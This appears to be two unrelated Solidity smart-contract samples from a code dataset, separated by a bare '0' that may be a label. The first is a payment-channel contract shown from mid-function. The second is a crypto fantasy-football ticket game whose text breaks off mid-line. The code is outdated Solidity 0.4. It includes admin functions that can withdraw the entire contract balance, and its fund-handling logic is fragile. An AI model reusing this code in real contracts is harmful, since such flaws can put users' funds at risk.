Channels[_lcID].ethBalances[1] = msg.value; } if(_balances[1] != 0) { require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"joinChannel: token transfer failure"); Channels[_lcID].erc20Balances[1] = _balances[1]; } Channels[_lcID].initialDeposit[0]+=_balances[0]; Channels[_lcID].initialDeposit[1]+=_balances[1]; Channels[_lcID].isOpen = true; numChannels++; emit DidLCJoin(_lcID, _balances[0], _balances[1]); } function deposit(bytes32 _lcID, address recipient, uint256 _balance, bool isToken) public payable { require(Channels[_lcID].isOpen == true, "Tried adding funds to a closed channel"); require(recipient == Channels[_lcID].partyAddresses[0] || recipient == Channels[_lcID].partyAddresses[1]); if (Channels[_lcID].partyAddresses[0] == recipient) { if(isToken) { require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); Channels[_lcID].erc20Balances[2] += _balance; } else { require(msg.value == _balance, "state balance does not match sent value"); Channels[_lcID].ethBalances[2] += msg.value; } } if (Channels[_lcID].partyAddresses[1] == recipient) { if(isToken) { require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure"); Channels[_lcID].erc20Balances[3] += _balance; } else { require(msg.value == _balance, "state balance does not match sent value"); Channels[_lcID].ethBalances[3] += msg.value; } } emit DidLCDeposit(_lcID, recipient, _balance, isToken); } function consensusCloseChannel( bytes32 _lcID, uint256 _sequence, uint256[4] _balances, string _sigA, string _sigI ) public { require(Channels[_lcID].isOpen == true); uint256 totalEthDeposit = Channels[_lcID].initialDeposit[0] + Channels[_lcID].ethBalances[2] + Channels[_lcID].ethBalances[3]; uint256 totalTokenDeposit = Channels[_lcID].initialDeposit[1] + Channels[_lcID].erc20Balances[2] + Channels[_lcID].erc20Balances[3]; require(totalEthDeposit == _balances[0] + _balances[1]); require(totalTokenDeposit == _balances[2] + _balances[3]); bytes32 _state = keccak256( abi.encodePacked( _lcID, true, _sequence, uint256(0), bytes32(0x0), Channels[_lcID].partyAddresses[0], Channels[_lcID].partyAddresses[1], _balances[0], _balances[1], _balances[2], _balances[3] ) ); require(Channels[_lcID].partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); require(Channels[_lcID].partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); Channels[_lcID].isOpen = false; if(_balances[0] != 0 || _balances[1] != 0) { Channels[_lcID].partyAddresses[0].transfer(_balances[0]); Channels[_lcID].partyAddresses[1].transfer(_balances[1]); } if(_balances[2] != 0 || _balances[3] != 0) { require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], _balances[2]),"happyCloseChannel: token transfer failure"); require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[1], _balances[3]),"happyCloseChannel: token transfer failure"); } numChannels--; emit DidLCClose(_lcID, _sequence, _balances[0], _balances[1], _balances[2], _balances[3]); } function updateLCstate( bytes32 _lcID, uint256[6] updateParams, bytes32 _VCroot, string _sigA, string _sigI ) public { Channel storage channel = Channels[_lcID]; require(channel.isOpen); require(channel.sequence < updateParams[0]); require(channel.ethBalances[0] + channel.ethBalances[1] >= updateParams[2] + updateParams[3]); require(channel.erc20Balances[0] + channel.erc20Balances[1] >= updateParams[4] + updateParams[5]); if(channel.isUpdateLCSettling == true) { require(channel.updateLCtimeout > now); } bytes32 _state = keccak256( abi.encodePacked( _lcID, false, updateParams[0], updateParams[1], _VCroot, channel.partyAddresses[0], channel.partyAddresses[1], updateParams[2], updateParams[3], updateParams[4], updateParams[5] ) ); require(channel.partyAddresses[0] == ECTools.recoverSigner(_state, _sigA)); require(channel.partyAddresses[1] == ECTools.recoverSigner(_state, _sigI)); channel.sequence = updateParams[0]; channel.numOpenVC = updateParams[1]; channel.ethBalances[0] = updateParams[2]; channel.ethBalances[1] = updateParams[3]; channel.erc20Balances[0] = updateParams[4]; channel.erc20Balances[1] = updateParams[5]; channel.VCrootHash = _VCroot; channel.isUpdateLCSettling = true; channel.updateLCtimeout = now + channel.confirmTime; emit DidLCUpdateState ( _lcID, updateParams[0], updateParams[1], updateParams[2], updateParams[3], updateParams[4], updateParams[5], _VCroot, channel.updateLCtimeout ); } function initVCstate( bytes32 _lcID, bytes32 _vcID, bytes _proof, address _partyA, address _partyB, uint256[2] _bond, uint256[4] _balances, string sigA ) public { require(Channels[_lcID].isOpen, "LC is closed."); require(!virtualChannels[_vcID].isClose, "VC is closed."); require(Channels[_lcID].updateLCtimeout < now, "LC timeout not over."); require(virtualChannels[_vcID].updateVCtimeout == 0); bytes32 _initState = keccak256( abi.encodePacked(_vcID, uint256(0), _partyA, _partyB, _bond[0], _bond[1], _balances[0], _balances[1], _balances[2], _balances[3]) ); require(_partyA == ECTools.recoverSigner(_initState, sigA)); require(_isContained(_initState, _proof, Channels[_lcID].VCrootHash) == true); virtualChannels[_vcID].partyA = _partyA; virtualChannels[_vcID].partyB = _partyB; virtualChannels[_vcID].sequence = uint256(0); virtualChannels[_vcID].ethBalances[0] = _balances[0]; virtualChannels[_vcID].ethBalances[1] = _balances[1]; virtualChannels[_vcID].erc20Balances[0] = _balances[2]; virtualChannels[_vcID].erc20Balances[1] = _balances[3]; virtualChannels[_vcID].bond = _bond; virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; virtualChannels[_vcID].isInSettlementState = true; emit DidVCInit(_lcID, _vcID, _proof, uint256(0), _partyA, _partyB, _balances[0], _balances[1]); } function settleVC( bytes32 _lcID, bytes32 _vcID, uint256 updateSeq, address _partyA, address _partyB, uint256[4] updateBal, string sigA ) public { require(Channels[_lcID].isOpen, "LC is closed."); require(!virtualChannels[_vcID].isClose, "VC is closed."); require(virtualChannels[_vcID].sequence < updateSeq, "VC sequence is higher than update sequence."); require( virtualChannels[_vcID].ethBalances[1] < updateBal[1] && virtualChannels[_vcID].erc20Balances[1] < updateBal[3], "State updates may only increase recipient balance." ); require( virtualChannels[_vcID].bond[0] == updateBal[0] + updateBal[1] && virtualChannels[_vcID].bond[1] == updateBal[2] + updateBal[3], "Incorrect balances for bonded amount"); require(Channels[_lcID].updateLCtimeout < now); bytes32 _updateState = keccak256( abi.encodePacked( _vcID, updateSeq, _partyA, _partyB, virtualChannels[_vcID].bond[0], virtualChannels[_vcID].bond[1], updateBal[0], updateBal[1], updateBal[2], updateBal[3] ) ); require(virtualChannels[_vcID].partyA == ECTools.recoverSigner(_updateState, sigA)); virtualChannels[_vcID].challenger = msg.sender; virtualChannels[_vcID].sequence = updateSeq; virtualChannels[_vcID].ethBalances[0] = updateBal[0]; virtualChannels[_vcID].ethBalances[1] = updateBal[1]; virtualChannels[_vcID].erc20Balances[0] = updateBal[2]; virtualChannels[_vcID].erc20Balances[1] = updateBal[3]; virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime; emit DidVCSettle(_lcID, _vcID, updateSeq, updateBal[0], updateBal[1], msg.sender, virtualChannels[_vcID].updateVCtimeout); } function closeVirtualChannel(bytes32 _lcID, bytes32 _vcID) public { require(Channels[_lcID].isOpen, "LC is closed."); require(virtualChannels[_vcID].isInSettlementState, "VC is not in settlement state."); require(virtualChannels[_vcID].updateVCtimeout < now, "Update vc timeout has not elapsed."); require(!virtualChannels[_vcID].isClose, "VC is already closed"); Channels[_lcID].numOpenVC--; virtualChannels[_vcID].isClose = true; if(virtualChannels[_vcID].partyA == Channels[_lcID].partyAddresses[0]) { Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[0]; Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[1]; Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[0]; Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[1]; } else if (virtualChannels[_vcID].partyB == Channels[_lcID].partyAddresses[0]) { Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[1]; Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[0]; Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[1]; Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[0]; } emit DidVCClose(_lcID, _vcID, virtualChannels[_vcID].erc20Balances[0], virtualChannels[_vcID].erc20Balances[1]); } function byzantineCloseChannel(bytes32 _lcID) public { Channel storage channel = Channels[_lcID]; require(channel.isOpen, "Channel is not open"); require(channel.isUpdateLCSettling == true); require(channel.numOpenVC == 0); require(channel.updateLCtimeout < now, "LC timeout over."); uint256 totalEthDeposit = channel.initialDeposit[0] + channel.ethBalances[2] + channel.ethBalances[3]; uint256 totalTokenDeposit = channel.initialDeposit[1] + channel.erc20Balances[2] + channel.erc20Balances[3]; uint256 possibleTotalEthBeforeDeposit = channel.ethBalances[0] + channel.ethBalances[1]; uint256 possibleTotalTokenBeforeDeposit = channel.erc20Balances[0] + channel.erc20Balances[1]; if(possibleTotalEthBeforeDeposit < totalEthDeposit) { channel.ethBalances[0]+=channel.ethBalances[2]; channel.ethBalances[1]+=channel.ethBalances[3]; } else { require(possibleTotalEthBeforeDeposit == totalEthDeposit); } if(possibleTotalTokenBeforeDeposit < totalTokenDeposit) { channel.erc20Balances[0]+=channel.erc20Balances[2]; channel.erc20Balances[1]+=channel.erc20Balances[3]; } else { require(possibleTotalTokenBeforeDeposit == totalTokenDeposit); } uint256 ethbalanceA = channel.ethBalances[0]; uint256 ethbalanceI = channel.ethBalances[1]; uint256 tokenbalanceA = channel.erc20Balances[0]; uint256 tokenbalanceI = channel.erc20Balances[1]; channel.ethBalances[0] = 0; channel.ethBalances[1] = 0; channel.erc20Balances[0] = 0; channel.erc20Balances[1] = 0; if(ethbalanceA != 0 || ethbalanceI != 0) { channel.partyAddresses[0].transfer(ethbalanceA); channel.partyAddresses[1].transfer(ethbalanceI); } if(tokenbalanceA != 0 || tokenbalanceI != 0) { require( channel.token.transfer(channel.partyAddresses[0], tokenbalanceA), "byzantineCloseChannel: token transfer failure" ); require( channel.token.transfer(channel.partyAddresses[1], tokenbalanceI), "byzantineCloseChannel: token transfer failure" ); } channel.isOpen = false; numChannels--; emit DidLCClose(_lcID, channel.sequence, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI); } function _isContained(bytes32 _hash, bytes _proof, bytes32 _root) internal pure returns (bool) { bytes32 cursor = _hash; bytes32 proofElem; for (uint256 i = 64; i <= _proof.length; i += 32) { assembly { proofElem := mload(add(_proof, i)) } if (cursor < proofElem) { cursor = keccak256(abi.encodePacked(cursor, proofElem)); } else { cursor = keccak256(abi.encodePacked(proofElem, cursor)); } } return cursor == _root; } function getChannel(bytes32 id) public view returns ( address[2], uint256[4], uint256[4], uint256[2], uint256, uint256, bytes32, uint256, uint256, bool, bool, uint256 ) { Channel memory channel = Channels[id]; return ( channel.partyAddresses, channel.ethBalances, channel.erc20Balances, channel.initialDeposit, channel.sequence, channel.confirmTime, channel.VCrootHash, channel.LCopenTimeout, channel.updateLCtimeout, channel.isOpen, channel.isUpdateLCSettling, channel.numOpenVC ); } function getVirtualChannel(bytes32 id) public view returns( bool, bool, uint256, address, uint256, address, address, address, uint256[2], uint256[2], uint256[2] ) { VirtualChannel memory virtualChannel = virtualChannels[id]; return( virtualChannel.isClose, virtualChannel.isInSettlementState, virtualChannel.sequence, virtualChannel.challenger, virtualChannel.updateVCtimeout, virtualChannel.partyA, virtualChannel.partyB, virtualChannel.partyI, virtualChannel.ethBalances, virtualChannel.erc20Balances, virtualChannel.bond ); } }
0
pragma solidity ^0.4.24; library PointsCalculator { uint8 constant MATCHES_NUMBER = 20; uint8 constant BONUS_MATCHES = 5; uint16 constant EXTRA_STATS_MASK = 65535; uint8 constant MATCH_UNDEROVER_MASK = 1; uint8 constant MATCH_RESULT_MASK = 3; uint8 constant MATCH_TOUCHDOWNS_MASK = 31; uint8 constant BONUS_STAT_MASK = 63; struct MatchResult{ uint8 result; uint8 under49; uint8 touchdowns; } struct Extras { uint16 interceptions; uint16 missedFieldGoals; uint16 overtimes; uint16 sacks; uint16 fieldGoals; uint16 fumbles; } struct BonusMatch { uint16 bonus; } function getMatchPoints (uint256 matchIndex, uint160 matches, MatchResult[] matchResults, bool[] starMatches) private pure returns(uint16 matchPoints) { uint8 tResult = uint8(matches & MATCH_RESULT_MASK); uint8 tUnder49 = uint8((matches >> 2) & MATCH_UNDEROVER_MASK); uint8 tTouchdowns = uint8((matches >> 3) & MATCH_TOUCHDOWNS_MASK); uint8 rResult = matchResults[matchIndex].result; uint8 rUnder49 = matchResults[matchIndex].under49; uint8 rTouchdowns = matchResults[matchIndex].touchdowns; if (rResult == tResult) { matchPoints += 5; if(rResult == 0) { matchPoints += 5; } if(starMatches[matchIndex]) { matchPoints += 2; } } if(tUnder49 == rUnder49) { matchPoints += 1; } if(tTouchdowns == rTouchdowns) { matchPoints += 4; } } function getExtraPoints(uint96 extras, Extras extraStats) private pure returns(uint16 extraPoints){ uint16 interceptions = uint16(extras & EXTRA_STATS_MASK); extras = extras >> 16; uint16 missedFieldGoals = uint16(extras & EXTRA_STATS_MASK); extras = extras >> 16; uint16 overtimes = uint16(extras & EXTRA_STATS_MASK); extras = extras >> 16; uint16 sacks = uint16(extras & EXTRA_STATS_MASK); extras = extras >> 16; uint16 fieldGoals = uint16(extras & EXTRA_STATS_MASK); extras = extras >> 16; uint16 fumbles = uint16(extras & EXTRA_STATS_MASK); if (interceptions == extraStats.interceptions){ extraPoints += 6; } if (missedFieldGoals == extraStats.missedFieldGoals){ extraPoints += 6; } if (overtimes == extraStats.overtimes){ extraPoints += 6; } if (sacks == extraStats.sacks){ extraPoints += 6; } if (fieldGoals == extraStats.fieldGoals){ extraPoints += 6; } if (fumbles == extraStats.fumbles){ extraPoints += 6; } } function getBonusPoints (uint256 bonusId, uint32 bonuses, BonusMatch[] bonusMatches) private pure returns(uint16 bonusPoints) { uint8 bonus = uint8(bonuses & BONUS_STAT_MASK); if(bonusMatches[bonusId].bonus == bonus) { bonusPoints += 2; } } function calculateTokenPoints (uint160 tMatchResults, uint32 tBonusMatches, uint96 tExtraStats, MatchResult[] storage matchResults, Extras storage extraStats, BonusMatch[] storage bonusMatches, bool[] starMatches) external pure returns(uint16 points){ uint160 m = tMatchResults; for (uint256 i = 0; i < MATCHES_NUMBER; i++){ points += getMatchPoints(MATCHES_NUMBER - i - 1, m, matchResults, starMatches); m = m >> 8; } uint32 b = tBonusMatches; for(uint256 j = 0; j < BONUS_MATCHES; j++) { points += getBonusPoints(BONUS_MATCHES - j - 1, b, bonusMatches); b = b >> 6; } points += getExtraPoints(tExtraStats, extraStats); } } contract DataSourceInterface { function isDataSource() public pure returns (bool); function getMatchResults() external; function getExtraStats() external; function getBonusResults() external; } contract GameStorage{ event LogTokenBuilt(address creatorAddress, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b); event LogTokenGift(address creatorAddress, address giftedAddress, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b); event LogPrepaidTokenBuilt(address creatorAddress, bytes32 secret); event LogPrepaidRedeemed(address redeemer, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b); uint256 constant STARTING_PRICE = 50 finney; uint256 constant FIRST_PHASE = 1540393200; uint256 constant EVENT_START = 1541084400; uint8 constant MATCHES_NUMBER = 20; uint8 constant BONUS_MATCHES = 5; bool[] internal starMatches = [false, false, false, false, false, false, true, false, false, false, false, false, true, false, false, false, false, false, true, false]; uint16 constant EXTRA_STATS_MASK = 65535; uint8 constant MATCH_UNDEROVER_MASK = 1; uint8 constant MATCH_RESULT_MASK = 3; uint8 constant MATCH_TOUCHDOWNS_MASK = 31; uint8 constant BONUS_STAT_MASK = 63; uint256 public prizePool = 0; uint256 public adminPool = 0; mapping (uint256 => uint16) public tokenToPointsMap; mapping (uint256 => uint256) public tokenToPayoutMap; mapping (bytes32 => uint8) public secretsMap; address public dataSourceAddress; DataSourceInterface internal dataSource; enum pointsValidationState { Unstarted, LimitSet, LimitCalculated, OrderChecked, TopWinnersAssigned, WinnersAssigned, Finished } pointsValidationState public pValidationState = pointsValidationState.Unstarted; uint256 internal pointsLimit = 0; uint32 internal lastCalculatedToken = 0; uint32 internal lastCheckedToken = 0; uint32 internal winnerCounter = 0; uint32 internal lastAssigned = 0; uint32 internal payoutRange = 0; uint32 internal lastPrizeGiven = 0; uint16 internal superiorQuota; uint16[] internal payDistributionAmount = [1,1,1,1,1,1,1,1,1,1,5,5,10,20,50,100,100,200,500,1500,2500]; uint24[21] internal payoutDistribution; uint256[] internal sortedWinners; PointsCalculator.MatchResult[] public matchResults; PointsCalculator.BonusMatch[] public bonusMatches; PointsCalculator.Extras public extraStats; } contract CryptocupStorage is GameStorage { } interface TicketInterface { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function getOwnedTokens(address _from) public view returns(uint256[]); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public; } contract TicketStorage is TicketInterface{ bytes4 private constant ERC721_RECEIVED = 0x150b7a02; struct Token { uint160 matches; uint32 bonusMatches; uint96 extraStats; uint64 timeStamp; string message; } Token[] tokens; mapping (uint256 => address) public tokenOwner; mapping (uint256 => address) public tokenApprovals; mapping (address => uint256[]) internal ownedTokens; mapping (address => mapping (address => bool)) public operatorApprovals; } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } library AddressUtils { function isContract(address _addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(_addr) } return size > 0; } } contract AccessStorage{ bool public paused = false; bool public finalized = false; address public adminAddress; address public dataSourceAddress; address public marketplaceAddress; uint256 internal deploymentTime = 0; uint256 public gameFinishedTime = 0; uint256 public finalizedTime = 0; } contract AccessRegistry is AccessStorage { modifier onlyAdmin() { require(msg.sender == adminAddress, "Only admin."); _; } modifier onlyDataSource() { require(msg.sender == dataSourceAddress, "Only dataSource."); _; } modifier onlyMarketPlace() { require(msg.sender == marketplaceAddress, "Only marketplace."); _; } modifier isNotPaused() { require(!paused, "Only if not paused."); _; } modifier isPaused() { require(paused, "Only if paused."); _; } modifier hasFinished() { require((gameFinishedTime != 0) && now >= (gameFinishedTime + (15 days)), "Only if game has finished."); _; } modifier hasFinalized() { require(finalized, "Only if game has finalized."); _; } function setPause () internal { paused = true; } function unSetPause() internal { paused = false; } function setAdmin(address _newAdmin) external onlyAdmin { require(_newAdmin != address(0)); adminAddress = _newAdmin; } function setMarketplaceAddress(address _newMkt) external onlyAdmin { require(_newMkt != address(0)); marketplaceAddress = _newMkt; } function setPauseState(bool state) external onlyAdmin { paused = state; } function setFinalized(bool state) external onlyAdmin { paused = state; finalized = state; if(finalized == true) finalizedTime = now; } } contract TicketRegistry is TicketInterface, TicketStorage, AccessRegistry{ using SafeMath for uint256; using AddressUtils for address; function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokens[_owner].length; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function getOwnedTokens(address _from) public view returns(uint256[]) { return ownedTokens[_from]; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom(address _from, address _to, uint256 _tokenId) public isNotPaused{ require(isApprovedOrOwner(msg.sender, _tokenId)); require(_from != address(0)); require(_to != address(0)); require (_from != _to); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) public { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public { transferFrom(_from, _to, _tokenId); } function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool){ address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokens[_to].push(_tokenId); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); require(ownedTokens[_from].length < 100); tokenOwner[_tokenId] = address(0); uint256[] storage tokenArray = ownedTokens[_from]; for (uint256 i = 0; i < tokenArray.length; i++){ if(tokenArray[i] == _tokenId){ tokenArray[i] = tokenArray[tokenArray.length-1]; } } delete tokenArray[tokenArray.length-1]; tokenArray.length--; } } library PayoutDistribution { function getDistribution(uint256 tokenCount) external pure returns (uint24[21] payoutDistribution) { if(tokenCount < 101){ payoutDistribution = [289700, 189700, 120000, 92500, 75000, 62500, 52500, 42500, 40000, 35600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; }else if(tokenCount < 201){ payoutDistribution = [265500, 165500, 105500, 75500, 63000, 48000, 35500, 20500, 20000, 19500, 18500, 17800, 0, 0, 0, 0, 0, 0, 0, 0, 0]; }else if(tokenCount < 301){ payoutDistribution = [260700, 155700, 100700, 70900, 60700, 45700, 35500, 20500, 17900, 12500, 11500, 11000, 10670, 0, 0, 0, 0, 0, 0, 0, 0]; }else if(tokenCount < 501){ payoutDistribution = [238600, 138600, 88800, 63800, 53800, 43800, 33800, 18800, 17500, 12500, 9500, 7500, 7100, 6700, 0, 0, 0, 0, 0, 0, 0]; }else if(tokenCount < 1001){ payoutDistribution = [218300, 122300, 72300, 52400, 43900, 33900, 23900, 16000, 13000, 10000, 9000, 7000, 5000, 4000, 3600, 0, 0, 0, 0, 0, 0]; }else if(tokenCount < 2001){ payoutDistribution = [204500, 114000, 64000, 44100, 35700, 26700, 22000, 15000, 11000, 9500, 8500, 6500, 4600, 2500, 2000, 1800, 0, 0, 0, 0, 0]; }else if(tokenCount < 3001){ payoutDistribution = [189200, 104800, 53900, 34900, 29300, 19300, 15300, 14000, 10500, 8300, 8000, 6000, 3800, 2500, 2000, 1500, 1100, 0, 0, 0, 0]; }else if(tokenCount < 5001){ payoutDistribution = [178000, 100500, 47400, 30400, 24700, 15500, 15000, 12000, 10200, 7800, 7400, 5500, 3300, 2000, 1500, 1200, 900, 670, 0, 0, 0]; }else if(tokenCount < 10001){ payoutDistribution = [157600, 86500, 39000, 23100, 18900, 15000, 14000, 11000, 9300, 6100, 6000, 5000, 3800, 1500, 1100, 900, 700, 500, 360, 0, 0]; }else if(tokenCount < 25001){ payoutDistribution = [132500, 70200, 31300, 18500, 17500, 14000, 13500, 10500, 7500, 5500, 5000, 4000, 3000, 1000, 900, 700, 600, 400, 200, 152, 0]; } else { payoutDistribution = [120000, 63000, 27000, 18800, 17300, 13700, 13000, 10000, 6300, 5000, 4500, 3900, 2500, 900, 800, 600, 500, 350, 150, 100, 70]; } } function getSuperiorQuota(uint256 tokenCount) external pure returns (uint16 superiorQuota){ if(tokenCount < 101){ superiorQuota = 10; }else if(tokenCount < 201){ superiorQuota = 20; }else if(tokenCount < 301){ superiorQuota = 30; }else if(tokenCount < 501){ superiorQuota = 50; }else if(tokenCount < 1001){ superiorQuota = 100; }else if(tokenCount < 2001){ superiorQuota = 200; }else if(tokenCount < 3001){ superiorQuota = 300; }else if(tokenCount < 5001){ superiorQuota = 500; }else if(tokenCount < 10001){ superiorQuota = 1000; }else if(tokenCount < 25001){ superiorQuota = 2500; } else { superiorQuota = 5000; } } } contract GameRegistry is CryptocupStorage, TicketRegistry{ using PointsCalculator for PointsCalculator.MatchResult; using PointsCalculator for PointsCalculator.BonusMatch; using PointsCalculator for PointsCalculator.Extras; modifier checkState(pointsValidationState state){ require(pValidationState == state, "Points validation stage invalid."); _; } function _getTokenPrice() internal view returns(uint256 tokenPrice){ if (now >= FIRST_PHASE) { tokenPrice = (80 finney); } else { tokenPrice = STARTING_PRICE; } require(tokenPrice >= STARTING_PRICE && tokenPrice <= (80 finney)); } function _prepareMatchResultsArray() internal { matchResults.length = MATCHES_NUMBER; } function _prepareBonusResultsArray() internal { bonusMatches.length = BONUS_MATCHES; } function _createToken(uint160 matches, uint32 bonusMatches, uint96 extraStats, string userMessage) internal returns (uint256){ Token memory token = Token({ matches: matches, bonusMatches: bonusMatches, extraStats: extraStats, timeStamp: uint64(now), message: userMessage }); uint256 tokenId = tokens.push(token) - 1; require(tokenId == uint256(uint32(tokenId)), "Failed to convert tokenId to uint256."); return tokenId; } function setDataSourceAddress(address _address) external onlyAdmin { DataSourceInterface c = DataSourceInterface(_address); require(c.isDataSource()); dataSource = c; dataSourceAddress = _address; } function adminWithdrawBalance() external onlyAdmin { uint256 adminPrize = adminPool; adminPool = 0; adminAddress.transfer(adminPrize); } function finishedGameWithdraw() external onlyAdmin hasFinished{ uint256 balance = address(this).balance; adminAddress.transfer(balance); } function emergencyWithdrawAdmin() external hasFinalized onlyAdmin{ require(finalizedTime != 0 && now >= finalizedTime + 10 days ); msg.sender.transfer(address(this).balance); } function isDataSourceCallback() external pure returns (bool){ return true; } function dataSourceGetMatchesResults() external onlyAdmin { dataSource.getMatchResults(); } function dataSourceGetBonusResults() external onlyAdmin{ dataSource.getBonusResults(); } function dataSourceGetExtraStats() external onlyAdmin{ dataSource.getExtraStats(); } function dataSourceCallbackMatch(uint160 matches) external onlyDataSource{ uint160 m = matches; for(uint256 i = 0; i < MATCHES_NUMBER; i++) { matchResults[MATCHES_NUMBER - i - 1].result = uint8(m & MATCH_RESULT_MASK); matchResults[MATCHES_NUMBER - i - 1].under49 = uint8((m >> 2) & MATCH_UNDEROVER_MASK); matchResults[MATCHES_NUMBER - i - 1].touchdowns = uint8((m >> 3) & MATCH_TOUCHDOWNS_MASK); m = m >> 8; } } function dataSourceCallbackBonus(uint32 bonusResults) external onlyDataSource{ uint32 b = bonusResults; for(uint256 i = 0; i < BONUS_MATCHES; i++) { bonusMatches[BONUS_MATCHES - i - 1].bonus = uint8(b & BONUS_STAT_MASK); b = b >> 6; } } function dataSourceCallbackExtras(uint96 es) external onlyDataSource{ uint96 e = es; extraStats.interceptions = uint16(e & EXTRA_STATS_MASK); e = e >> 16; extraStats.missedFieldGoals = uint16(e & EXTRA_STATS_MASK); e = e >> 16; extraStats.overtimes = uint16(e & EXTRA_STATS_MASK); e = e >> 16; extraStats.sacks = uint16(e & EXTRA_STATS_MASK); e = e >> 16; extraStats.fieldGoals = uint16(e & EXTRA_STATS_MASK); e = e >> 16; extraStats.fumbles = uint16(e & EXTRA_STATS_MASK); } function calculatePointsBlock(uint32 amount) external{ require (gameFinishedTime == 0); require(amount + lastCheckedToken <= tokens.length); for (uint256 i = lastCalculatedToken; i < (lastCalculatedToken + amount); i++) { uint16 points = PointsCalculator.calculateTokenPoints(tokens[i].matches, tokens[i].bonusMatches, tokens[i].extraStats, matchResults, extraStats, bonusMatches, starMatches); tokenToPointsMap[i] = points; } lastCalculatedToken += amount; } function setPayoutDistributionId () internal { uint24[21] memory auxArr = PayoutDistribution.getDistribution(tokens.length); for(uint256 i = 0; i < auxArr.length; i++){ payoutDistribution[i] = auxArr[i]; } superiorQuota = PayoutDistribution.getSuperiorQuota(tokens.length); } function setLimit(uint256 tokenId) external onlyAdmin{ require(tokenId < tokens.length); require(pValidationState == pointsValidationState.Unstarted || pValidationState == pointsValidationState.LimitSet); pointsLimit = tokenId; pValidationState = pointsValidationState.LimitSet; lastCheckedToken = 0; lastCalculatedToken = 0; winnerCounter = 0; setPause(); setPayoutDistributionId(); } function calculateWinners(uint32 amount) external onlyAdmin checkState(pointsValidationState.LimitSet){ require(amount + lastCheckedToken <= tokens.length); uint256 points = tokenToPointsMap[pointsLimit]; for(uint256 i = lastCheckedToken; i < lastCheckedToken + amount; i++){ if(tokenToPointsMap[i] > points || (tokenToPointsMap[i] == points && i <= pointsLimit)){ winnerCounter++; } } lastCheckedToken += amount; if(lastCheckedToken == tokens.length){ require(superiorQuota == winnerCounter); pValidationState = pointsValidationState.LimitCalculated; } } function checkOrder(uint32[] sortedChunk) external onlyAdmin checkState(pointsValidationState.LimitCalculated){ require(sortedChunk.length + sortedWinners.length <= winnerCounter); for(uint256 i = 0; i < sortedChunk.length - 1; i++){ uint256 id = sortedChunk[i]; uint256 sigId = sortedChunk[i+1]; require(tokenToPointsMap[id] > 